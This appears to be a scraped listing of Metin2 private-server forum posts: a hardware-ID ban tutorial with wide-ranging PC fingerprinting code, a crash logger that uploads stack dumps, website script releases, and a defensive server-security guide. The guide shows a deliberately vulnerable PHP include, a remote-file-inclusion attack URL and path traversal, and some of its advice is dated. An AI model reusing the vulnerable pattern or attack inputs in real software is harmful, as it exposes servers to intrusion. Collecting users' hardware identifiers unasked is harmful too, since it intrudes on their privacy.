2-2-6)PythonNetworkStream.cpp Search this function void CPythonNetworkStream::SetLoginInfo(const char* c_szID, const char* c_szPassword) And replace with this void CPythonNetworkStream::SetLoginInfo(const char* c_szID, const char* c_szPassword, const char* c_szHwid, const char* c_szSnn) { m_stID=c_szID; m_stPassword=c_szPassword; m_stHwid=c_szHwid; m_stSnn=c_szSnn; } Now run this query commands; ALTER TABLE account.account ADD Hwid VARCHAR(50); ALTER TABLE account.account ADD Snn VARCHAR(50); Create tables DROP TABLE IF EXISTS `snnban`; CREATE TABLE `snnban` ( `Snn` varchar(255) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; DROP TABLE IF EXISTS `hwidban`; CREATE TABLE `hwidban` ( `Hwid` varchar(255) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; Basic php ban script <?php error_reporting(0); if($_GET) { $baglanti = mysqli_connect('localhost', 'root', 'PASSWORD', 'account'); $hwid = mysqli_real_escape_string($baglanti, $_GET['hwid']); $snn = mysqli_real_escape_string($baglanti, $_GET['snn']); if(strlen($snn) == 0) { $hwid_bul = mysqli_query($baglanti, "SELECT null FROM hwidban WHERE hwid='$hwid'"); if(mysqli_num_rows($hwid_bul) > 0) echo 'BLOCK'; mysqli_free_result($hwid_bul); }else{ $snn_bul = mysqli_query($baglanti, "SELECT null FROM snnban WHERE snn='$snn'"); if(mysqli_num_rows($snn_bul) > 0) echo 'BLOCK'; mysqli_free_result($snn_bul); } mysqli_close($baglanti); } ?> Bonus; if you want alternative ways (mac, cpu etc.) check tutorials below #CPU INFO: import platform platform.processor() #MAC INFO: mac = '' for line in os.popen('getmac /nh /fo CSV').readlines(): m = line.split(',')[0] dev = line.split(',')[1] if dev.find('Device') and mac == '': mac = m mac = mac.replace('"', '') #HWID INFO: *DEFAULT hwid = os.popen('wmic csproduct get uuid').read().split("n")[1] #HDD INFO: hddinfo = win32api.GetVolumeInformation("C:") #COMPUTER NAME: pcadi = os.environ['COMPUTERNAME'] #CPU NAME: cpu = os.popen('wmic cpu get name').read().split("n")[1] #MOTHERBOARD INFO: anakart = os.popen('wmic baseboard get serialnumber').read().split("n")[1] #RAM SERIAL: ram = os.popen('wmic memorychip get serialnumber').read().split("n")[2] #BIOS VERSION: biosv = os.popen('wmic bios get smbiosbiosversion').read().split("n")[1] #COMPUTER MODEL: model = os.popen('wmic csproduct get name').read().split("n")[1] #SYSTEM TYPE: systype = os.popen('wmic computersystem get systemtype').read().split("n")[1] #COMPUTER OWNER: owner = os.popen('wmic computersystem get manufacturer').read().split("n")[1] #OS NAME: osname = os.popen('wmic os get Caption,CSDVersion /value').read().split("n")[2].split("Caption=")[-1] #WINDOWS USERNAME: winusnm = os.popen('echo %username%').read().split("n")[0] #VOLUME NAME: volname = os.popen('wmic logicaldisk get volumename').read().split("n")[1] #SMART SNN: *DEFAULT smartsnn = os.popen('wmic path win32_physicalmedia get SerialNumber').read().split("n")[1] #USER SID: usersid = os.popen('wmic useraccount get name,sid').read().split("n")[2].replace(" ", " - ") #TOTAL MEMORY: ramboyut = os.popen('wmic computersystem get TotalPhysicalMemory').read().split("n")[1] Example files: [Hidden Content] Virustotal: [Hidden Content] Result: Sorry my bad english Regards
  19. Hello, i give you a function that helps you check the empty space in ItemSHOP. Here is a video shows that it works
  20. M2 Download Center Download Here ( Internal ) Client Binary Source -> Eterbase/error.cpp #include "StdAfx.h" #include <io.h> #include <stdio.h> #include <stdlib.h> #include <iostream> #include <sstream> #include <time.h> #include <imagehlp.h> #include <ws2tcpip.h> #include <winsock.h> #pragma comment (lib, "wsock32.lib") static const char *Website_Host = "www.mymetin2server.com"; static const char *Website_ScriptName = "/errorlog.php"; static const char *ErrorLog_FileName = "ErrorLog.txt"; static const std::string page_password = "Insert_Your_Website_Page_Password"; FILE * fException; static char __msg[4000]; static int __idx; typedef BOOL(CALLBACK *PENUMLOADED_MODULES_CALLBACK)(__in PCSTR ModuleName, __in ULONG ModuleBase, __in ULONG ModuleSize, __in_opt PVOID UserContext); void Send_Request(const char* verb, const char* hostname, int port, const char* resource, const char* opt_urlencoded, std::string& response) { WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return; SOCKET Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct hostent *host; host = gethostbyname(hostname); SOCKADDR_IN SockAddr; SockAddr.sin_port = htons(port); SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr); if (connect(Socket, (SOCKADDR*)(&SockAddr), sizeof(SockAddr)) != 0) return; std::string req = verb; req.append(" "); req.append(resource); req.append(" HTTP/1.1\r\n"); req.append("Host: "); req.append(hostname); req.append(":"); req.append(std::to_string(port)); req.append("\r\n"); if (strcmp(verb, "POST") == 0) { req.append("Cache-Control: no-cache\r\n"); req.append("Content-length: "); req.append(std::to_string(strlen(opt_urlencoded))); req.append("\r\n"); req.append("Content-Type: application/x-www-form-urlencoded\r\n\r\n"); req.append(opt_urlencoded); } else { req.append("Cache-Control: no-cache\r\n"); req.append("Connection: close\r\n\r\n"); } send(Socket, req.c_str(), req.size(), 0); char buffer[1024]; recv(Socket, buffer, 1024, 0); response += std::string(buffer); closesocket(Socket); WSACleanup(); } std::string urlencode(std::string str){ std::string new_str = ""; char c; int ic; const char* chars = str.c_str(); char bufHex[10]; int len = strlen(chars); for (int i = 0; i<len; i++){ c = chars[i]; ic = c; if (isalnum(c) || c == '-' || c == '_' || c == '.' || c == '~') new_str += c; else { sprintf(bufHex, "%X", c); if (ic < 16) new_str += "%0"; else new_str += "%"; new_str += bufHex; } } return new_str; } bool send_errorlog(std::string msg) { std::string data = "password=" + page_password + "&message=" + urlencode(msg); std::string response; Send_Request("POST", Website_Host, 80, Website_ScriptName, data.c_str(), response); if (strstr(response.c_str(), "OK_SENT")) return true; else return false; } #if _MSC_VER >= 1400 BOOL CALLBACK EnumerateLoadedModulesProc(PCSTR ModuleName, ULONG ModuleBase, ULONG ModuleSize, PVOID UserContext) #else BOOL CALLBACK EnumerateLoadedModulesProc(PSTR ModuleName, ULONG ModuleBase, ULONG ModuleSize, PVOID UserContext) #endif { DWORD offset = *((DWORD*)UserContext); if (offset >= ModuleBase && offset <= ModuleBase + ModuleSize) { fprintf(fException, "%s", ModuleName); __idx += sprintf(__msg+__idx, "%s", ModuleName); return FALSE; } else return TRUE; } LONG __stdcall EterExceptionFilter(_EXCEPTION_POINTERS* pExceptionInfo) { HANDLE hProcess = GetCurrentProcess(); HANDLE hThread = GetCurrentThread(); fException = fopen(ErrorLog_FileName, "wt"); if (fException) { char module_name[256]; time_t module_time; HMODULE hModule = GetModuleHandle(NULL); GetModuleFileName(hModule, module_name, sizeof(module_name)); module_time = (time_t)GetTimestampForLoadedLibrary(hModule); fprintf(fException, "Module Name: %s\n", module_name); fprintf(fException, "Time Stamp: 0x%08x - %s\n", module_time, ctime(&module_time)); fprintf(fException, "\n"); fprintf(fException, "Exception Type: 0x%08x\n", pExceptionInfo->ExceptionRecord->ExceptionCode); fprintf(fException, "\n"); { __idx+=sprintf(__msg+__idx,"Module Name: %s\n", module_name); __idx+=sprintf(__msg+__idx, "Time Stamp: 0x%08x - %s\n", module_time, ctime(&module_time)); __idx+=sprintf(__msg+__idx, "\n"); __idx+=sprintf(__msg+__idx, "Exception Type: 0x%08x\n", pExceptionInfo->ExceptionRecord->ExceptionCode); __idx+=sprintf(__msg+__idx, "\n"); } CONTEXT& context = *pExceptionInfo->ContextRecord; fprintf(fException, "eax: 0x%08x\tebx: 0x%08x\n", context.Eax, context.Ebx); fprintf(fException, "ecx: 0x%08x\tedx: 0x%08x\n", context.Ecx, context.Edx); fprintf(fException, "esi: 0x%08x\tedi: 0x%08x\n", context.Esi, context.Edi); fprintf(fException, "ebp: 0x%08x\tesp: 0x%08x\n", context.Ebp, context.Esp); fprintf(fException, "\n"); { __idx+=sprintf(__msg+__idx, "eax: 0x%08x\tebx: 0x%08x\n", context.Eax, context.Ebx); __idx+=sprintf(__msg+__idx, "ecx: 0x%08x\tedx: 0x%08x\n", context.Ecx, context.Edx); __idx+=sprintf(__msg+__idx, "esi: 0x%08x\tedi: 0x%08x\n", context.Esi, context.Edi); __idx+=sprintf(__msg+__idx, "ebp: 0x%08x\tesp: 0x%08x\n", context.Ebp, context.Esp); __idx+=sprintf(__msg+__idx, "\n"); } STACKFRAME stackFrame = {0,}; stackFrame.AddrPC.Offset = context.Eip; stackFrame.AddrPC.Mode = AddrModeFlat; stackFrame.AddrStack.Offset = context.Esp; stackFrame.AddrStack.Mode = AddrModeFlat; stackFrame.AddrFrame.Offset = context.Ebp; stackFrame.AddrFrame.Mode = AddrModeFlat; for (int i=0; i < 512 && stackFrame.AddrPC.Offset; ++i) { if (StackWalk(IMAGE_FILE_MACHINE_I386, hProcess, hThread, &stackFrame, &context, NULL, NULL, NULL, NULL) != FALSE) { fprintf(fException, "0x%08x\t", stackFrame.AddrPC.Offset); __idx+=sprintf(__msg+__idx, "0x%08x\t", stackFrame.AddrPC.Offset); EnumerateLoadedModules(hProcess, (PENUMLOADED_MODULES_CALLBACK) EnumerateLoadedModulesProc, &stackFrame.AddrPC.Offset); fprintf(fException, "\n"); __idx+=sprintf(__msg+__idx, "\n"); } else { break; } } fprintf(fException, "\n"); __idx+=sprintf(__msg+__idx, "\n"); BYTE* stack = (BYTE*)(context.Esp); fprintf(fException, "stack %08x - %08x\n", context.Esp, context.Esp+1024); __idx+=sprintf(__msg+__idx, "stack %08x - %08x\n", context.Esp, context.Esp+1024); for(int i=0; i<16; ++i) { fprintf(fException, "%08X : ", context.Esp+i*16); __idx+=sprintf(__msg+__idx, "%08X : ", context.Esp+i*16); for(int j=0; j<16; ++j) { fprintf(fException, "%02X ", stack[i*16+j]); __idx+=sprintf(__msg+__idx, "%02X ", stack[i*16+j]); } fprintf(fException, "\n"); __idx+=sprintf(__msg+__idx, "\n"); } fprintf(fException, "\n"); __idx+=sprintf(__msg+__idx, "\n"); fflush(fException); fclose(fException); fException = NULL; if (send_errorlog(__msg)) { FILE *f = fopen("syserr.txt", "w"); fputs("We found an exception that kill the client process.\nWe have sent your ErrorLog to our data center.\nWe will solve your problem soon.", f); fclose(f); }else{ FILE *f = fopen("syserr.txt", "w"); fputs("We found an exception that kill the client process.\nWe tried to send your ErrorLog to our data center.\nBut the operation was failed.", f); fclose(f); } } return EXCEPTION_EXECUTE_HANDLER; } void SetEterExceptionHandler() { SetUnhandledExceptionFilter(EterExceptionFilter); } On your website: create errorlog.php <?php if (isset($_REQUEST["password"])) { if ($_REQUEST["password"] == "Insert_Your_Website_Page_Password") { if (strlen($_REQUEST["message"]) > 0) { $file=fopen("ErrorLogs_Player.txt", "a"); fwrite($file, $_REQUEST["message"]); fclose($file); echo "OK_SENT"; }else{ echo "ERROR"; } }else{ header("Location: index.php"); } }else{ header("Location: index.php"); } ?>
  21. M2 Download Center Download Here ( Internal ) Hello to all here is a system I created just recently because I wanted to do it simply It is only the first part of the system that allows to select the Local pack according to the IP address of the player automatically! The next part will be available in a second tutorial. System Description: This system allows a player to be linked to a script hosted on your website, the web script will analyze the location of the player's IP and return the acronym of his Country (example: FR) according to the acronym the client Va This will pass from the client's locale.cfg and read the pack file corresponding to the acronym received seamlessly and quickly. Step 1: Open the file Locale_inc.h and add y this line: #define ENABLE_MULTILANGUE_SYSTEM Then open your UserInterface.cpp file and locate the following line: LocaleService_LoadConfig("locale.cfg"); And replace it with: #ifdef ENABLE_MULTILANGUE_SYSTEM LocaleService_LoadMultilangue(M_VerifLangue()); #else LocaleService_LoadConfig("locale.cfg"); #endif Then add the following method by replacing the web link with the one of your choice: std::string M_VerifLangue(){ // Méthode vérifiant la langue string versionActuel = "fr"; string url = "[Hidden Content]"; string destination = "langue.php"; char buffer[MAX_LINE]; dl = URLDownloadToFile(NULL, url.c_str(), destination.c_str(), NULL, NULL); if (dl == S_OK) { std::ifstream infile("langue.php"); std::string line; while (std::getline(infile, line)) { std::istringstream iss(line); int a, b; if (!(iss >> a >> b)) { break; } } infile.close(); remove("langue.php"); return line; } else if (dl == E_OUTOFMEMORY) // En cas de surcharge, ferme le lanceur. { exit(0); } else // Ferme le lanceur si aucun des cas n'a été franchis. { exit(0); } return ""; } Step 2: Now open the file Locale.h and look for the following line: void LocaleService_LoadConfig(const char* fileName); Add the following lines: #ifdef ENABLE_MULTILANGUE_SYSTEM void LocaleService_LoadMultilangue(std::string langue); #endif Open your Locale.cpp now and add the following function: #ifdef ENABLE_MULTILANGUE_SYSTEM void LocaleService_LoadMultilangue(std::string langue) { MULTI_LOCALE_REPORT_PORT = 10000; MULTI_LOCALE_CODE = 1252; strcpy(MULTI_LOCALE_NAME, langue.c_str()); sprintf(MULTI_LOCALE_PATH, "locale/%s", MULTI_LOCALE_NAME); } #endif Web Part: Download the attached file in the article and upload it in your web hosting corresponding to the link you have chosen. The GeoIP.dat file can be updated regularly by uploading it to the official GeoIP site. Link of the file: File Creator of the system : Me Source link of the System: Online-Game The second part (for the Server) will be created soon, you can use another server part for complete it if you want. Cordialy
  22. M2 Download Center Download Here ( Internal ) Hey Guys I want to share a site for SOMetin2 server edit while you were online. Download: Click Credits: * NyBu (Flying Men Development) * Ayaka * Wered $$ Sorry for my bad English. Kings Regards Wered $$.-
  23. M2 Download Center Download Here ( Internal ) Version: Lite Language: Romanian (easy to translate) Details: It's a simple site with only: register, ranking, staff list, online user stats(can be disabled) Preview: Download: [Hidden Content] Install: Edit config/db.php. For config site and edit links go config/site.php For errors: [Hidden Content] Copyright for design (all template): [Hidden Content] , It was a misunderstanding following which we used design or unauthorized. I apologize again to owner.
  24. M2 Download Center Download Here ( Internal ) I would like to present you our new website made 100% by darkdev.eu, it's an old version but the most stable and clean on the internet at the moment. This is a free version wich includes basic functions and some added. The premium version includes : vote reward, refferal system, website included devilium itemshop, view deposit, cached menu`s and much more. We need to asure that full script and design made by darkdev.eu , only thing that is from others is the daten.inc for the bonuses and crap like that Size: 2.530 MB Language : Romanian ( sorry, but it`s easy to translate it ) Facilities : It has alot more functions but i will let u guys find out about them. In present it is used by over 200 servers romanian and other. If you use it please keep de copyrights , and change so : Mady by darkdev.eu for SERVER NAME Also we are taking request for custom designs and scripts : Portfolio [Hidden Content]
  25. Hello dear minions (oh how I love that one!), for my first guide I'll try to talk a little bit about securing your server. Many people know it: 3 weeks after your server started some wannabe-badass wants to break in. And maybe he'll be successful. It depends on you and just on you. Within the following text (yeah brace yourselves, this is gonna be a wall of text) I'll show you why it is so important that YOU get up your lazy ass and fix some issues. I wrote this guide when many servers got attacked, that's why I was a bit ironic in every part of the guide. If you can deal with it, you're free to read the whole guide and maybe learn something new. It's mainly for beginners, but some experienced users may get something out of it. The guide was published with minor changes long time ago in another board that's now "dead". Anyways, let's get started! Securing isn't just "lul I copied and pasted it, now my server is perfect!!!111oneoneeleventwelve". It's much more! Get that. There are many variables, software versions and things you just NEED to care about. Make yourself comfortable with your system or you'll go down. If you're prepared to spend some time reading this guide written by such an ironic idiot like me you're on the right track! *thumbs up!* First of all we need to concern about the most important things in security. The following things can give you a bad time and maybe some headaches: -> You used a public homepage script without checking for security breaches. In this case: Shame on you. -> You set up a unsecure password for your authentications. In this case: Shame on you again. -> You gave passwords or authentications to people who aren't trustful. In this case you know what I'm going to write here: Sh... False, in this case you're just an idiot. -> The software got a security issue with which people can break in -> You don't protect against bruteforcing your passwords etc... Most of the cases are the 4th, the 3rd and the first one. Very rarely other things come to handy for hackers. But we won't miss them, won't we? Good. You're going to get a cookie at the end of the guide. Let's just start with the most important things and how you can solve them: -> Your homepage script got security issues? <- Don't dare to answer the question. Maybe you aren't aware of it but some issues aren't visible that easy. First of all you need to get used to php at least a little bit. EVERY and yes, EVERY time a user can fill in a formular or has the chance to put something in which will be used for a query, there could be possibly a securits issue. Why? Because this method is called "SQL Injection". When you fill in a formular, you can (if it's not secured) manipulate the query by adding some things. For example you can let the query execute a command to create a new user with full admin rights. Nah, isn't that fun? No, it isn't and you shouldn't do it to others. How to fix this: Everytime a user can access a formular and his input is used to query a command for mysql you need to force him to use only valid answers. But how? It's just easy. PHP offers a function mysql_real_escape_string() You can just use this to clean the input from a user so it won't harm your mysql server. Make sure you clean EVERYONE of these inputs. The next thing are file inclusions. For this, please forgive me but I'm using wikipedia as my source. It's just a good example: <?php if (isset( $_GET['COLOR'] ) ){ include( $_GET['COLOR'] . '.php' ); } ?> Look at this. What does this code do? If (maybe by using a formular button) 'COLOR' is set in the URL, you can simply include files for your script. BUT! Be aware of the risks from this code. Everytime you include something a user can manipulate (maybe through inputs or the url), you're going to have maybe a bad time. In this method the value of 'COLOR' is written in the url. GET's can be seen in the URL (At the end of your URL there should be a ? and then the following names with their values). Let me give you an example. If you open this script like this: index.php?COLOR='blue' Everything goes like you want it. This is a valid color. But if you're a bad user and don't drink your milk, you're going to exploit it: index.php?COLOR='[Hidden Content]' What happens? The server tries to include a script made by another one! If he includes his own script he can cause VERY high damage. Not only minor, but MAJOR damage. Yes. He can use ../../../ to spy your folders too. There are many things a hacker can do with this. What do we learn about this? Never let the user manipulate or influence inclusions like he wants to. YOU are the admin, not he. Let's conclude the things and lock down the topic 'homepage script' for now. These are the most important things you need to do: -> check your script -> No really, check it. -> Now. When you check your script, remember looking for these things: -> Always use mysql_escape_string() to deny user from executing their own queries at your homepage -> Never let the user type in things to include (and really.. Don't use the url to get values for including files..). Except you can make sure that you're filtering the input in such a way that users simply can not manipulate it. If you checked the homepage script and you're happy with it, you can proceed. If not, then what are you waiting for? -> Your software is out to date and got security issues <- If you want to make sure your server doesn't get exploited and you can stand attacks, you need to update and configure it. Yes, it's true. Deal with it. You can't just update every software like you want. It's not like clapping in your hands and then having everything done. You need to know WHAT software you're running. Some programs are just insecure or instable and cause your system to fail. And of course: What OS version do you use? If you answer me '7.1' now you'd feel a hard kick in your... I guess you figured it out... Tricked, I was about writing 'ice cream'. But never ever use outdated software! NEVER. Write it down 15 times and you'll know it. I can't tell how often I saw people using 7.1.. If you don't know what version you're running just type in "uname -a". This will display the version. The first number tells us the branch you're using. For example '7.1' is a part of the 7th branch. If you want to upgrade your system, you'd use the built-in commands. You can try to use the latest versions, but you don't really need to get the 9-branch that fast. You can stay at the 8th branch for a while (but please, don't use the 7th branch). Use the following command to fetch the updates: freebsd-update upgrade -r 8.3-RELEASE This will fetch the updates to upgrade your system to 8.3. You can jump from the 7th branch to the 8th. If you're running 9.2 or better 10.0 everything seems fine. Yes, you read the wright word: SEEMS. Make sure you're running the LATEST patch-version of your system. This means you need to check for updates sometimes with the following command: freebsd-update fetch This will just fetch the updates for your version. You'll stay on the branch and the lower version of your branch, but you'll get the latest updates for your system. To install fetched upgrades you just need to type in: freebsd-update install This will give you a HUGE advantage if you're moving from 7.1 to 8.3 for example. The old verions are just obsolete. Don't use them. You can visit the freebsd homepage to get information about the latest versions. The next thing is the software. You can list your software with this command: pkg_info or with the new pkg management tool: pkg info This will list every package you installed and it's version. For software like php or mysql you'd use google to get a little bit more about the latest version. Sometimes things aren't that good with the newest version. Maybe some new bugs occur or php killed some old functions and destroyed your homepage with it's latest update. If you're going to update your software, you can use a pretty good package for it. It's called portupgrade. Before you're going to install it you need to learn how the ports-tree work. It's quite simple: Every programm FreeBSD accepts to the ports-tree will be added to the ports-list. It's installation files can easily be fetched and you can just install it from there. To fetch a whole new ports-tree (like when you set up your system and now want to install ports for the first time) you can use this command: portsnap fetch extract This will fetch the latest portsnap (like a bundle of every package) and extract it to /usr/ports If you already have the ports-tree, you can simply update it with this command: portsnap fetch update Make use of it!!! But updating the ports-tree isn't enough to keep your software at the newest version. If you update your ports-tree you've updated the installation files, but not the softwares itselves. You can simply update the software AFTER YOU UPDATED THE PORTS-TREE with the program mentioned above: portupgrade! You can install portupgrade with this: cd /usr/ports/ports-mgmt/portupgrade && make install clean After the installation you can just type in 'rehash'. Now make sure you really updated the ports-tree with portsnap fetch update. Type in the following command to run portupgrade then: portupgrade -ai It'll check every version and asks you wheter to install the newer version or not. You can simply decide yourserlf! Make sure you update your ports-tree sometimes and your software too! Also the choose of your serverfiles is important! You'd better use serverfiles that are trustful and not modified with backdoors etc.. Better use untouched serverfiles and do the stuff yourself instead of using instant tea that's poisoning you. You get the drift, right? Especially the gamefile is important. You'd either compile one yourself or use a gamecore that's proven to be stable und secure. I'd now advertise my gamefile and tell you hooow good it is but I won't, it's up to you to make your decisions. Just make sure you're using something that won't kill your server at last. -> You misconfigured your software. It can't stand attacks <- To secure your server even more, you need to configure it properly. Most programs offer you to configure it with a configuration file. PHP allows you to set up a php.ini-file (I won't get into this), mysql offers you the my.cnf (too) and ssh gives you the opportunity to set up sshd_conf So first of all we need to configure the basics! What is the most important thing on your server? Right! The SSH-authentication. If someone breaks in there you can say good bye to your server, maybe once and for all (if you haven't got backups and time to reinstall everything). So we need to set up ssh. In freeBSD there is the following file: /etc/ssh/sshd_config You can simply edit it. Look over it and maybe google what the settings mean at all. It's very important. The most important thing is the "protocol" setting. It's set to the old version by default. Make sure this line is in your sshd_config: Protocol 2 If you're using Protocol 1, people can break down your machine within a snip of your fingers. After you edited your sshd_conf you can restart sshd by using this command: /etc/rc.d/sshd restart TRY to connect to your server via a new putty instance after you restarted ssh! If it won't work you'd better NEVER reboot your machine or close putty until you fixed this!!! The next thing is the firewall. ALWAYS make sure you got one. I recommend pf, but for this I'll write more another day. Not this time. Maybe you can use a sample script but CONFIGURE IT! You need to block every p2p port from outer access so people can't use the API to kill your metin2 server. I'll tell more about this another time and maybe add it if this topic goes well. And at last you'd consider your user restrictions. If someone is able to break in, he shouldn't be allowed to cause much damage. In the best case you'd set up another user and restrict 'root' from logging into your server. Of course you can do this for mysql too! And yes, DO IT! Connect to mysql via navicat. After that click on the Button "User" in the upper menu. You can edit, create and delete users you don't like to have. Or you can change their passwords. And of course, you can restrict them in many different ways. For example you can create a homepage user which is only allowed to insert/modify the tables it needs in the right way. Why do they need to be able to delete tables? Just give them only the rights they need. Even if someone can break in with this user, it wouldn't be that hard for you since he can't destroy your whole server. Finally there are some important things you should always have. Never let anyone work on your server unless you have to full control about it. This means, you shouldn't give access to your server (ssh AND mysql) to anyone except yourself and people you can REALLY REALLY REALLY REALLY REALLY REALLY REALLY (and take care of a big REALLY) trust and they also contribute to the project. If someone goes mad he can simply hack your server or just release the authentication data. Why do you think there are so many serverfiles released without the owners permission? And at least: always be paranoid. Never think "ohoho this won't affect me". You should consider EVERY option and let your attackers NO chance to break in. Get used to your machine, your system and your software and everything will be fine. Don't be lazy. Just be paranoid. Best Regards, Vanilla
×
×
  • Create New...

Important Information

Terms of Use / Privacy Policy / Guidelines / We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.